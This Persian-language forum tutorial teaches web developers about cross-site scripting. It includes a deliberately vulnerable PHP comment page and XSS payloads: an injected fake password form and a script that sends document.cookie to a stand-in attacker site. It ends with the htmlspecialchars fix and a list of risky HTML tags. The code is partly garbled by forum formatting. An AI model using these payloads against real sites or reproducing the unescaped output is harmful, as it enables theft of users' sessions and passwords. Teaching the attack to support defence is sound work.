با توجه به توسعه روز افزون برنامه های کاربردی تحت وب هر برنامه نویسی که در این زمینه فعالیت می کند ملزم است که حملات رایج به این گونه برنامه ها را شناخته و از بروز آن ها جلوگیری کند.
سلسله مقالات ذیل مقدمه ایست بر حمله های رایج و نحوه دفاع در برابر آن ها.در این مقالات با انواع حملات Cross site scripting و sql injection آشنا می شوید و خواهید آموخت چگونه از بروز آن ها در برنامه های خود جلوگیری کنید.

بخش اول آشنایی با Cross site scripting
در این گونه حملات فرد نفوذ گر بر روی استفاده کننده از برنامه شما فوکوس می کند.وی با استفاده از تگهای ساده HTML به یوزر های شما حمله خواهد کرد.
مثال:
برنامه زیر با استفاده از یک فایل اطلاعات را از کاربران گرفته و نمایش میدهد.(چیزی شبیه به یک فوروم خیلی ساده)
برنامه الگوی 1: PHP mode))


کد PHP:
<?PHP
$filename
="1";
 
if (isset(
$_POST['comment']) and !empty($_POST['comment'])){
    if (!
$handle fopen($filename'a')) {
         echo 
"Cannot open file ($filename)";
         exit;
    }
    
// Write $somecontent to our opened file.
    
if (fwrite($handle$_POST['comment']."\n") === FALSE) {
        echo 
"Cannot write to file ($filename)";
        exit;
    }
     
    echo 
"Success, wrote ".$_POST['comment'] ." to file ($filename)";
     
    
fclose($handle);
 
}
 
?>
<form action="" method="POST"> 
<p>
    <textarea name="comment" cols="50"></textarea>
</p>
  <p>
    <input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
// get contents of a file into a string
$handle = @fopen($filename"r");
$contents = @fread($handlefilesize($filename));
echo 
nl2br($contents);
@
fclose($handle);
?>


C#‎


کد PHP:
private void Page_Load&#40;object sender, System.EventArgs e)
&#123;
   
string filename "1";         
   if &
#40;Page.IsPostBack)
   
&#123;
      
System.IO.StreamWriter sr System.IO.File.CreateText&#40;filename);
 
      // safe
      
sr.WriteLine &#40;System.Web.HttpUtility.HtmlEncode(TextBox  1.Text));
              
      // unsafe
      //sr.WriteLine (TextBox1.Text);
              
      
sr.Close&#40;);   
   
&#125;
 
   
if &#40;System.IO.File.Exists(filename)&#4  1;
   
&#123;
      
System.IO.StreamReader sr System.IO.File.OpenText&#40;filename);
      
string input ;
      if &
#40;(input =sr.ReadLine())!=null)
        
Response.Write&#40;input);
   
sr.Close&#40;);
   
&#125;
&#125; 

تا اینجا همه چیز عادیست . یک یوزر مثلا جمله "سلام دنیا" را در textbox می نویسد و پس از ذخیره در فایل این جمله نمایش داده میشود.
حال این عبارت را تست کنید:
1
2

کد PHP:
&lt;script>alert&#40;document.domain)&lt;/script> 
با توجه به اینکه عبارت قرار داده شده در فایل عینا بر روی صفحه ظاهر خواهد شد مرورگر کاربر کدها را تفسیر و اجرا میکند.بنابراین اسکریپت فوق دقیقا همانند اینکه در برنامه شما به صورت پیش فرض وجود داشته باشد اجرا خواهد شد!
یک مثال جالبتر:

کد PHP:
&lt;form name="form1" method="post" action="http://mysite.com/datastealer.php">
  &
lt;p>Enter your password email or something    
    
&lt;input name="password" type="text" id="password">
    &
lt;input type="submit" name="Submit" value="Submit">
    &
lt;/form
سایت شما مورد اعتماد کاربر است بنابراین وی اطلاعات شخصی خود را با توجه به اینکه به شما اعتماد دارد وارد خواهد کرد.و این اطلاعات به اسکریپت نفوذ گر منتقل شده و ذخیره میشوند!

اما این تنها نمایی از خطر این گونه حملات است.شاید فکر کنید در صورتیکه یوزرهای شما آگاه باشند چندان هم در خطر نیستید.اما صبر کنید هنوز تکنیک های زیرکانه تری برای یک مهاجم باقیست
با هم یک مثال عملی از دزدیده شدن اطلاعات کاربری را بررسی می کنیم:
1- مهاجم یک برنامه ساده ثبت اطلاعات در وب سایت خود مینویسد.که بدینوسیله اطلاعات را دریافت و ثبت می کند.
[برای نمایش لینک باید عضو شوید. ][data]
بدین ترتیب که هر داده ای که جای دیتا قرار داده شود ثبت خواهد شد.
2- وی این کد را در برنامه الگو1 وارد می کند.
1
2

کد PHP:
&lt;script>document.location.replace&#40;http&#  58;//hackerswebsite.com/recordscript.php?information='+document.cookie&#41  ;;&lt;/script> 
وی به سادگی کوکی ها و session ID های کاربر شما را دزدید!

راه حل:
تبدیل کاراکتر های ویژه html همانند &lt; ، > ، &amp; ، ‘ ، “ ، و سایر کاراکتر هایی که ممکن است مورد سواستفاده قرار گیرند به معادل کاراکتری آن ها برای مثال تابع زیر این کار را در PHP برای شما انجام میدهد:
1

کد PHP:
string htmlspecialchars &#40; string string [, int quote_style [, string charset]]) 
تنها با عوض کردن این خط
1
2

کد PHP:
if &#40;fwrite($handle, $_POST['comment']."\n") === FALSE) { 
در برنامه الگو1 و تبدیل آن به
1
2

کد PHP:
if &#40;fwrite($handle, htmlspecialchars($_POST['comment']&#41  ;."\n") === FALSE) { 
برنامه فوق تا حد زیادی در برابر این سطح از حملات ایمن شده.اما توجه کنید همان طور که گفتم تکنیک های زیرکانه تری نیز وجود دارد که در مقالات بعدی به آن ها خواهیم پرداخت.
هدف من در این مقاله آشنایی ابتدایی شما یا حملات Cross site scripting که XSS نیز نامیده می شوند بود در مقالات بعدی این بحث را دنبال خواهیم کرد.
تگ های خطرناک:


کد PHP:
HTML Tag    Description
[b]&lt;SCRIPT>[/b]     Adds a script that is to be used in the document.
 
Attributes&#58;
•    type Specifies the language of the scriptIts value must be a media type &#40;e.g. text/javascript). This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.
•    language Identifies the language of the scriptsuch as JavaScript or VBScript.
•    src Specifies the URL of an outside file containing the script to be loaded and run with the document. &#40;Netscape only)
Supported by&#58; Netscape, IE 3+, HTML 4, Opera 3+
 
[b]&lt;OBJECT>[/b]
    
Places an object &#40;such as an applet, media file, etc.) on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.
Attributes&#58;
•    classid Identifies the class identifier of the object.
•    codebase Identifies the URL of the object’s codebase.
•    codetype Specifies the media type of the codeExamples of code types include audio/basictext/html, and image/gif. &#40;IE and HTML 4.0 only)
•    data Specifies the URL of the data used for the object.
•    name Specifies the name of the object to be referenced by scripts on the page.
•    standby Specifies the message to display while the object loads.
•    type Specifies the media type for the data.
•    usemap Specifies the imagemap URL to use with the object.
Supported by&#58; Netscape, IE, HTML 4
 
[b]&lt;APPLET> [/b]   
Used to place a Java applet on a documentIt is depreciated in the HTML 4.0 specification in favour of &lt;objecttag.
Attributes&#58;
•    code Specifies the class name of the code to be executed &#40;required).
•    codebase The URL from which the code is retrieved.
•    name Names the applet for reference elsewhere on the page.
Supported by&#58; Netscape, IE 3+, HTML 4
 
[b]&lt;EMBED>[/b]   
Embeds an object into the documentEmbedded objects are most often multimedia files that require special plug-ins to displaySpecific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the fileThe closing tag is not always requiredbut is recommendedThe tag was dropped by the HTML 4.0 specification in favour of the &lt;objecttag.
Attributes&#58;
•    hidden Hides the media file or player from view when set to yes.
•    name Specifies the name for the embedded object for later reference within a script.
•    pluginspage Specifies the URL for information on installing the appropriate plug-in.
•    src Provides the URL to the file or object to be placed on the document. &#40;Netscape 4+ and IE 4+ only)
•    code Specifies the class name of the Java code to be executed. &#40;IE only)
•    codebase Specifies the base URL for the application. &#40;IE only)
•    pluginurl Specifies a source for installing the appropriate plug-in for the media file. &#40;Netscape only)
•    type Specifies the MIME type of the plug-in needed to run the file. &#40;Netscape only)
Supported by&#58; Netscape, IE 3+, Opera 3+
&lt;FORM>    Indicates the beginning and end of a form.
Attributes&#58;
•    action Specifies the URL of the application that will process the form.
•    enctype Specifies how the values for the form controls are encoded when they are submitted to the server.
•    method Specifies which HTTP method will be used to submit the form data.
•    target Specifies a target window for the results of the form submission to be loaded &#40; _blank, _top, _parent, and _self).